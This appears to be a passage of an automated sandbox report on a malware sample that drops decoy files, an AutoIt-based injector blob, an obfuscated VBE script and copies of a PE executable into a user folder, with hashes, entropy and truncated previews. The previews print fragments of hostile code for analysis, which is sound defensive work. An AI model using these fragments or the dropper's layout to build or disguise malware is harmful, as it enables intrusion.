                                                                                                                                                      Preview:02urKYN9UhT01f54329Ln97G9xGi90927dw7712qO2lm4kjFE4U8e28186eL72243xNc4..ToolTipConstants ComboConstants..N2W879e9v2Bpx3j0eN859ak1kR5m4681r47285G76D4430H19Pmu022Z5UW272517GV6o6uWP7BI..ColorConstants ToolbarConstants..5mbS57430Tv0y61NaNE6pU2630540X21S4dW815v9323t7MRq17D0Q44DMFug3C8l6eHju06UkgaAe2CO2X9q0r662Zi756e009G9H4F780..FontConstants ButtonConstants..64732t1RdRT2y568ua2hhl34C64..TreeViewConstants ToolbarConstants..5686dwb61j91v650s1967u3iZh4B9pJ4EoHlt8HKZC58n5LlUcKj6A54z82C2Eb3XP0RYPZONKPN8jS4Ap7Qe25i79W2u0yo4188N36xnB0719z644..ToolTipConstants BorderConstants..

                                                                                                                                                      C:\Users\user\llkd\edfpst.jpg

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):543
                                                                                                                                                      Entropy (8bit):5.62778580378186
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:DGhjrHTB1zJ3FPSpSjYJzWKi7tawGaGVHR:CVrzXGc6zW37fGayR
                                                                                                                                                      MD5:F7490A6265F334876342496600DFCA5C
                                                                                                                                                      SHA1:E79E42617BA61C13293B3AD44D2FDCB547FD75F3
                                                                                                                                                      SHA-256:B61B5DBC2284545DF43D06B8434819B95BCC6AE4E5E22617F05A97E5AC2FEF17
                                                                                                                                                      SHA-512:B2EE0FD841A658DF4CCB2DB1D63A31AEEBF47BAA4A3FF6D8FD956AD76531E131B61A637B2BA49E1D161B6950C06E838B61BC19BF840832C68CC559649ACC9C06
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:6r2027t7efI71g9V4p8J100yE2432yb3px48N85C081ktumN5084446343Rf4s4I52c7dZ52446j23Uav8p2MboD76ffN5NYj5o60n46j6AdL9lr750fVRmcfwWr5XQ80vqGHcOckCF..TreeViewConstants DateTimeConstants..QIscBL650tCMY56c9i3Ry16kuEqDIbqec52pdcr70F9a666n5P38Yj14157841Qp3248NIQ486W07nfPH8X5fS6F84hy0K03y2QXdEMR2gJ6p2p78qEGhMQ79RU36pHEQ9b0406043kHr7xbvQktFqy1Qc6605cS3L6O3..ColorConstants DateTimeConstants..Gt83Ld4D8lYWy4cP9i885q8ld5C1G5th3yMO9k8VJD80Pl9u85A6Ki857345dfGZnp87BjUQ242G8482tU7lc5Ve21h2088J77IA628Y838M0214iC8z98Ke6RS03492z6..FileConstants ToolbarConstants..

                                                                                                                                                      C:\Users\user\llkd\fkawpxd.ppt

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):514
                                                                                                                                                      Entropy (8bit):5.606323152982731
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:ZP9RmAWNGLVn1XUiZ3RrBPX6szgOyTDR7w71m328ORc:hmAkGLUiZBr9J4Tt+g3gc
                                                                                                                                                      MD5:3D8DD208A1BC990063B574044319FF30
                                                                                                                                                      SHA1:8A028E38EECAAA27C448EC281BFC1A00045895B5
                                                                                                                                                      SHA-256:84D1770A96D4802E652390702F6022D144238548A7F0F6A80497975165CFE2C3
                                                                                                                                                      SHA-512:62E46B51FE8569D5C24A96F398AB826457F5ED2A98FA7AF27E012BBAD7A83C6D6A0D31338192D0276617C2C99314BB71AB13D995DB4118BA54C5909B706467CF
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:1sUXP3iZpTvofeRPu8Ii56..TreeViewConstants StructureConstants..09iG03rErs9tR866I0N44diC10igm6KcK1VKVw4LhDo65i0x9bR0h9B3Wh904W77i5808A7487ub660nqV573vRwb7e95R43iqM2E0Gjg36446y9S92y79359VwIRq1ZRkfvPw1mk04a0MMA2C6NRu40WyBbAe68A5Ta36Xy..StructureConstants TreeViewConstants..3C2GE74580ck95j8uf0YC8U9P18bhS0v6mDgrE3CU6BTEGU563f3Uqh8f8GNQgDb2IK8J3942N4..FileConstants StructureConstants..8pmq3E50E3F92hD..ColorConstants GuiDateTimePicker..S6a066RNAg0xB82dC6W9BMlbK0x3T9W8541U5cfJ35L..ToolbarConstants StructureConstants..

                                                                                                                                                      C:\Users\user\llkd\fuvdg.msc

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):529
                                                                                                                                                      Entropy (8bit):5.623624807839007
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:zV/+KJh4xlwckRf32X8sLPuEEqkOzhGOZfaJg/M2:zV/+kiuzfg8gNtR
                                                                                                                                                      MD5:2DDF35F6EFA65E7B1E286E3839980288
                                                                                                                                                      SHA1:DCBCFD1ED8D5A63E07B89BDF65EC39AF1373C4F8
                                                                                                                                                      SHA-256:8DA7643F1455AED90195609E344014ADA2F338C6F7E59C68FAEF3A7714F84B3B
                                                                                                                                                      SHA-512:980BB720A6326D2F60E7E3E70EF65B3131B1166383CBC42B57D5474D03F884AB271DA8847F2679D640931813CF27C88800B9A1F780A6F6912E9CD98DC948E887
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:xMXJiw4HCa9E2ZGkRh52a4s1236j36741L0..StructureConstants UpDownConstants..887A366iUxJ6m8i24tNkH377453G1fmTw302o1Z1Ud18Z7J4AY59lb55PZ9QHwDj2zUJB5t8666b3492s91426d9067y28o57U52455ip1M03..DateTimeConstants BorderConstants..ET3y97E19QT1G43n7Y0h5rGSKt90p8W093126w7zV6AU4L0dSB6uGRL2JZ9a08eCyw55zd5w..FileConstants ButtonConstants..3O93Xl2TM0byv9Tbyr434K72xc2eCH9E1o53Y4J4hd9N1918sdsRD6qSKyTyqlE3517vhyZBY98X2YuEDRg758B3IBQBU595929Rj56RY8i4Qen531g1REZC85Xj29o0Abq7bsN3932H3a5a8q247R5921QHDQY1qg047Mj1..GuiDateTimePicker BorderConstants..

                                                                                                                                                      C:\Users\user\llkd\gbkusncub.ppt

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):947288
                                                                                                                                                      Entropy (8bit):6.629681466265794
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                                                                                                                      MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                                                                                                                      SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                                                                                                                      SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                                                                                                                      SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                                                                                                                      Malicious:false
                                                                                                                                                      Antivirus:
                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                      C:\Users\user\llkd\gbkusncub.ppt.exe

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):947288
                                                                                                                                                      Entropy (8bit):6.629681466265794
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                                                                                                                      MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                                                                                                                      SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                                                                                                                      SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                                                                                                                      SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                                                                                                                      Malicious:true
                                                                                                                                                      Antivirus:
                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                      C:\Users\user\llkd\gbkusncub.ppt.exe.exe

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\llkd\gbkusncub.ppt.exe
                                                                                                                                                      File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):947288
                                                                                                                                                      Entropy (8bit):6.629681466265794
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24576:fYgAon+KfqNbXD2XJ2PH1ddATgs/u2kaCB+l:f37+KSbq5e1diEnHaCK
                                                                                                                                                      MD5:0ADB9B817F1DF7807576C2D7068DD931
                                                                                                                                                      SHA1:4A1B94A9A5113106F40CD8EA724703734D15F118
                                                                                                                                                      SHA-256:98E4F904F7DE1644E519D09371B8AFCBBF40FF3BD56D76CE4DF48479A4AB884B
                                                                                                                                                      SHA-512:883AA88F2DBA4214BB534FBDAF69712127357A3D0F5666667525DB3C1FA351598F067068DFC9E7C7A45FED4248D7DCA729BA4F75764341E47048429F9CA8846A
                                                                                                                                                      Malicious:true
                                                                                                                                                      Antivirus:
                                                                                                                                                      • Antivirus: ReversingLabs, Detection: 0%
                                                                                                                                                      Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........;..h..h..hX;1h..hX;3hq..hX;2h..hr..h..h...i...h...i...h...i...h..Ch..h..Sh..h..h..hI..i...hI..i..hI.?h..h.Wh..hI..i..hRich..h........PE..L...).(c.........."...............................@..................................L....@...@.......@.........................|....P..P............N..X&...0..Pv...........................C..........@............................................text...|........................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...P....P......................@..@.reloc..Pv...0...x..................@..B................................................................................................................................................................................................................................................................................

                                                                                                                                                      C:\Users\user\llkd\gkgmtswhmc.jpg

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):513
                                                                                                                                                      Entropy (8bit):5.45384254054136
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:dBDRFUhevRsv0D2bfIi9uTobUB4vwwfrRWL7irh9MBh1J:rtFceajIio4VwwUL7iF9uh1J
                                                                                                                                                      MD5:45D2330198499EBFD1B73E984826FE5E
                                                                                                                                                      SHA1:6178824C68FB54D2E79AA6914B517530628B8220
                                                                                                                                                      SHA-256:7407261CE6F3F09FFB85B70A630D7D951E2BD88F709B7F504F2DBEF21BD3DD6C
                                                                                                                                                      SHA-512:86056988F1EEE5339620C8906AAA4914718D3B8CEB6C69AE65401358DFAB1FF66CDA12DE286770FE675104358D31B200A4D60B24F8C224ADA2AC0A4640FB359F
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:22Wh08Z99A89z7RP5655OJ5a49a87lo5uZgbx79r6ox6R..FileConstants StructureConstants..mMGuZJBWbu100naOy2k47rU9jjv9JzZvW168W3..BorderConstants FontConstants..26oG5ni92c2vj6w10R2K45Bul81ossIL481QL60uL9708dl6y566M8uBWXt4G43yt6HGtl5PT0V326ZO675deT877W3a5..GuiDateTimePicker ButtonConstants..3K9f0nZQ301778l9..StructureConstants UpDownConstants..1a9eE0BT07Lvr10dp60rtFi004d91D8ssQRPD907hqy9D643914B..FontConstants FontConstants..l7q53Oz68N7529k2NPC2J6b033u4z3Nu7833LVjL0830j6C3I929A2735YE835L..FontConstants FontConstants..

                                                                                                                                                      C:\Users\user\llkd\havvtivnup.bmp

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):540
                                                                                                                                                      Entropy (8bit):5.569990017502002
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:QaOS/lUkyNou/5dWTBAHFkCfOFQWQeUf87R:9D/lUkKoa5UeHGCfOyLU7R
                                                                                                                                                      MD5:5A33ACB108A1C219ED1194D8381CD40A
                                                                                                                                                      SHA1:D55846B97A021BBE4DCF490085A0824AD2C38961
                                                                                                                                                      SHA-256:F26513A135FA2E295C130A54290838E954B668D5AA013887F12B09CA0A735E93
                                                                                                                                                      SHA-512:A18FD243B2463FF6EA3CB61C7347CFA3C66F757647E9185A8A65114DE11DEF9BD0CA40D8BC08DA3ED0F45F913B948A7E377367D1D93739BEB2D593E5496229C5
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:56nC155FFb6F8374mR51u27IKU4YdxY6G3Q1xhNF7I21242xR37V1Saf5Aw949k430pTLI271Q022E644l5THb1S16E3B1qq363S8H9Dm4WNzw26Y52HPz3409F9u53L54902j2e8r84vX1IFWx4X94ji45f..ButtonConstants ToolbarConstants..31600G34N08Um9Ylsg06Ry08u7g7f605U0UB6Ex3fgT7xFl3T0vvv2x979867JoA6kilGpFQFj5969gb3K38QKBW3A441..FontConstants ToolTipConstants..js1k70nQ7RF3cG2H6Y412wNBJ5d33oXA9Ah30Rlz4S3Y6LClyJP49q4f50Y7enN133h7xl4f0pc277sK5314402m3nn9Rm0XwXOhJ7L6RPD7Mi3rG485810RRo1423s810T02Bv39On8E5s663949JGB119RkeNh0j750U2383zanS0b6m1sg22k..ToolbarConstants ToolbarConstants..

                                                                                                                                                      C:\Users\user\llkd\hcmdvu.msc

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:data
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):91254962
                                                                                                                                                      Entropy (8bit):7.035432791605254
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24576:wEoE/EDE1ExEzE4E7E2EwErELEJErEqEsEQE3EZEWEdEHEuECEUEAE3EYE5EKEIA:1r
                                                                                                                                                      MD5:46E1E90CFE4DAD9EF77EE251DD0CE36B
                                                                                                                                                      SHA1:3569F17BAD104D96E7549CF37595CAC4E2C41EDD
                                                                                                                                                      SHA-256:4E4565C6F96B87C4C2B04A086CE832C00D6894F36C0074FC86308DFCC942F3B8
                                                                                                                                                      SHA-512:0CFB6481B513AB1BA89D3D370D1931DD64DD363A69F46633815E1945E4994984CCA13439FF99BB0947960A1DEB855AC33E5E9A617BBCAFF78245CFE6FB8F1791
                                                                                                                                                      Malicious:true
                                                                                                                                                      Yara Hits:
                                                                                                                                                      • Rule: JoeSecurity_AutoitInjector, Description: Yara detected Autoit Injector, Source: C:\Users\user\llkd\hcmdvu.msc, Author: Joe Security
                                                                                                                                                      Preview:..;.TxlS.8...p...l....S..y..M.T.FO.y.}I.......X.G.j..ge..b.Q.i\.C..l..fR.o|d....w.GXCdhQ......#.c.s.6.x..T..8..W..r..&/..C.A5..9.<...u.....~.f.&.d.c../f=..2`..3.9.z..{mq.......%.....l.K....!}........g.......{C2.. ~..B[n.P).Q6.|.m.S....Hl...@(...b..M..:....Q.;.i.i..$>..&....6.8.x.V.g.8.k.7.h.B.c.4.7.1.6.....`.....h(8..oJ...\.M....~.s.k.W`..O$.*.1.T....H.7.1.0.V.5.X.9.m.8.g.3.....3.9.5.2.b.3.u.b.I.1.....U.G.4.e.1.J.e.s.....3.j.2.2.3.L.z.8.g.5.N.W.v.T.7.8.a.y.V.2.2.d.3.2.0.H.t.Y.z.6.m.O.6.K.7.v.....9.Q.0.5.5.W..............?...zX!.u...0...V....6v...4..l?..lq....iV;'v|%nv.V.Z.......g...0....:.~ZB....q..7..$..c>....?.'....:^..N...}]l....i^...Pv}.u..b.......]....K....RO.~..U.........5L.t...y.....4.s.8.D.R.O.A.7.0.f.6.6.L.L.....S..1.D.,.E....t.Q..cR....+u.kpq9..V.YVC.P..*N/ABQ.T&.)...Q=..g...5.....L..N....7hV$.k9...8r..Q.C..)cH.!...{.Z..a.@*.$..Q....a~>...'...'..H...b..=.j........J....-..z..R$.....#....:..37d.....n...)7..=..g.......=F...+...f.r...J...eB

                                                                                                                                                      C:\Users\user\llkd\ijqn.mgf

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with very long lines (65536), with no line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):360301
                                                                                                                                                      Entropy (8bit):4.03500126803888
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:6144:ODNuvLVuBeU1elwm4CaOYIIFdGuOqmM3iRVb1:2QT+RdiqW9
                                                                                                                                                      MD5:FAE6EE35C0F5AC2DC4885C0DE8E88032
                                                                                                                                                      SHA1:587BF6F4105D4420762C463BA33E9E3BA677E85F
                                                                                                                                                      SHA-256:4DB090B6F1CD2501C929B31C2E29D4D0A4DDF1E81BE6800E763D8C45BEA8744D
                                                                                                                                                      SHA-512:1CE62D900017DD4545023ACC3CA32DAEE7EB454A6144C99958D57E88838402013854F410B8BE1FB5D607819C48BA72FEFECC11D2C78A81408855BF3899E04B38
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:0x4D5*4552E8]]]]5883E8098_C883C03C8_]03C/83C0280308FFE/9]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]0C]]]]E/F_*0E]_409CD2/_80/4CCD2/546869732070726F67726/6D20636/6E6E6F742062652072756E20696E20444F53206D6F64652E0D0D0*24]]]]]]]*_FC08E*EF9D66_9EF9D66_9EF9D66_9F4]CD_9*99D66_9F4]F8_9EC9D66_9F4]F__9EE9D66_952696368EF9D66_9]]]]]]]]]]]]]]]]5045]]4C0/0/]/E6*6752]]]]]]]]E]]20/0_0/0*]]D202]]]]]]]]]D0F]/]]/]]]0F]2]]]4]]0/]]]]2]]05]0/]]]]]05]0/]]]]]]F]2]]02]]]]]]02]408/]]/]]0/]]]]0/]]0/]]]]]]0/]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]02E74657874]]]34D/02]]/]]]0D202]]/]]]]]]]]]]]]]]02]]06]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]]

                                                                                                                                                      C:\Users\user\llkd\jqgrvgmurv.docx

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):581
                                                                                                                                                      Entropy (8bit):5.611163251694453
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:ZnkJUqR751oLr8dhSPRTztB1/F3TkahUHQUexTPuRKNbwG4ykY:ZuUsYL4WRvP1/hkfQUP+EG4+
                                                                                                                                                      MD5:16FA357E6E8840D33742A7717112ABD8
                                                                                                                                                      SHA1:866906CE593FBC4B7A27F7C4D6ED172A225B0D50
                                                                                                                                                      SHA-256:6B5EA4F4F6718FF1F3EC6B8C7F6518F447DE4CEA2AB2DAC8A5371202487B7939
                                                                                                                                                      SHA-512:A4D39E318AABEE034E1225ED91C7EA06F1CD93B013CDE0EF34BD6E3B2CE4719615EFE7F9DA98611D872D6FDF7062C4D13079776B27C75BB407332BC0CF443C5D
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:3A2hXF4AjuCl332y6G7w075sid3w4U20KK5wNRrc9RQ8H5l4867fV1L9x8683g44VPr2i8951714oi..FileConstants StructureConstants..it2oqL28D5i9qOI7h5J5eR9a36lEhDq6QjFcoZh4460312r2hl107bcpG4MOX608Y9v1LMQ7a27o51989F827dM1f2138hc23Ra81na3iF82FwAF4uw624Y..BorderConstants ToolbarConstants..w1228mh051d1279N9L188dw3xr46628H72F13d09O5JxrO9bj87k39TD402567145c3FB02a1375S52T95874Pb82zYj666WbSUHb3tpmyFwG9Jp1MSj87W70F6T4mt6b896YFI4z86c..TreeViewConstants ButtonConstants..uZ2qxU13i121Aja35u9rwn190IVHsV42b438038ZuxqqZ0595LEkIWg7y20fE4G37t0iN8y351c4sT58s48Bx900136AoQyfA64..GuiDateTimePicker ComboConstants..

                                                                                                                                                      C:\Users\user\llkd\ojmspoptet.mp3

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):512
                                                                                                                                                      Entropy (8bit):5.6597214338096595
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:TyTlwdr1XQ9OPHPkuRQdCm/DeTcTRBOy44WN7ps:WZcr1HHPhQdt/D/a9N7ps
                                                                                                                                                      MD5:470EDBBDA73DEF0F717D602DD7F78C56
                                                                                                                                                      SHA1:7AAA4969C33A33A770534CBABBEB8BB100106A7F
                                                                                                                                                      SHA-256:BDB2567DB5E89EEB431C2C4DFAC73673E50B512258684CC67D9CCEA0B2665B64
                                                                                                                                                      SHA-512:47A1C4A233D6F52A7F756D17861552FDA764B8D20CDBF61155F9445905AE7885050E39788B991692452AD71A76ABB3765A7D20E5EDD9838C6F77478C60550CE9
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:0Z70ZZ7er68hS36l155LBI09020gMFWd3wzG403Hk67L5Z5E6f8f25kUI1Icxl6B622u858oj577I27CtD562S4BoMs3N3A0UAYa3RUx91HSfn7C28833111M66vL..GuiDateTimePicker ColorConstants..I89NH4756rUuD6W4Xm06aP8td4uzCxq8nXqa7iSSrY72u6M03l7vfAv2RKzD69w6350oy8PV0St10Q4815N3TE8yXc1vljx9FQ8NJ3X..ColorConstants StructureConstants..CKk7m6o62Q966UDcmg768787Qj7P10..ColorConstants GuiDateTimePicker..g876Chy8Mke1Ad6x0500bSV612p993n9If89bK7904nS12w3ooanJ1L4Aes09f66xep7HODrC5B22pb0X6KBnI4G57nGB7VR28Z8I4C1gWrxt..BorderConstants ToolTipConstants..

                                                                                                                                                      C:\Users\user\llkd\qwmk.xls

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:ASCII text, with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):637
                                                                                                                                                      Entropy (8bit):5.488066423127828
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:12:h7kr1ztTbt1oPCsb5MmoZkcTPhhlJQ5ojnjyPRiIBklUfKtWb:h7krzc+ZFvQ5o/kazWb
                                                                                                                                                      MD5:81FEB95C89263DC75504BFF8E06A5D90
                                                                                                                                                      SHA1:10454BC7F50A03508FA973874FBDCF433BD2D2F6
                                                                                                                                                      SHA-256:85609BB1D624BCBC6DB2A4DB193E871D08C3C22F826F214DD34CB0CB3255B479
                                                                                                                                                      SHA-512:029325EBA2DDF3FC3C263A4719DF6963433BAB9BF4E568EE007662B62289EE69CF4E28566975679230D95E67F7697A28E4A300FDB27844C22FB810506B3306CF
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:gzy0186G3A5h9k29ZL0sF3J7SOG837413h215..ToolbarConstants ToolbarConstants..ho8w6YTVWy6nNQ6P3N94SS0q116K83t85W9g72S49OoP953EM28IcqXX7017V1p39p890ts00i7537..TreeViewConstants DateTimeConstants..X046304w86u9Ll07j6r62tenlalIM95I6o8ung880aTwB378zgoe23i8ipeEhGJU9106ECk16oFbN19t8w2166008M3wL15Y87V604YRtE91N..TreeViewConstants ButtonConstants..ebkn88g2N1BLO15W927Ot675q5oD72g2tWgmKc97gS682834d236Ip04368O62423WzS793o7rh7906I11E11g8qt1Il8YG85Xg30h82JZg5o..TreeViewConstants FileConstants..B1I65x0e18F2708v476L6N633iV586y5alxPY351dPiF9Evb47Z3So4yM3o605y158E87z858rc174x4r6EWoHw6B76sa8v3tek23d79Q098LkU7r080Y2ympN72..ColorConstants FileConstants..

                                                                                                                                                      C:\Users\user\llkd\rwwk.vbe

                                                                                                                                                      Download File
                                                                                                                                                      Process:C:\Users\user\AppData\Local\Temp\RarSFX0\gbkusncub.ppt
                                                                                                                                                      File Type:Unicode text, UTF-16, little-endian text, with very long lines (392), with CRLF line terminators
                                                                                                                                                      Category:dropped
                                                                                                                                                      Size (bytes):63850
                                                                                                                                                      Entropy (8bit):3.031301346461432
                                                                                                                                                      Encrypted:false
                                                                                                                                                      SSDEEP:24:QRAAAAAAAAAAAAAAAAAAwYNNNNNNNNNNNNNNNNNNNNNNNHY2W2W2W2W2W2W2W2Wj:1H1HWWA9WCTanohnrQ
                                                                                                                                                      MD5:465381AA4E9B430423F61894F1CA3B7A
                                                                                                                                                      SHA1:CB87F2E9902CD6FD1559AFAFFBF93D427E2DB11C
                                                                                                                                                      SHA-256:2BD6653B99FC6535C1FCAE63C1091F6BC227E20A72B0501F46EEBEE5E073677A
                                                                                                                                                      SHA-512:8F38351940DBE639C447B06CD3004D421669D3F880C2E6C0DB421A2774CC92A91D6AA66E58A27E688B49D6B6881EB4134AC20A707891630516DA5AB7406666E0
                                                                                                                                                      Malicious:false
                                                                                                                                                      Preview:..T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.T.e.l.e.V.r.a.m.(.1.8.7.).:.....T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.m.(.2.3.0.).:.T.e.l.e.V.r.a.

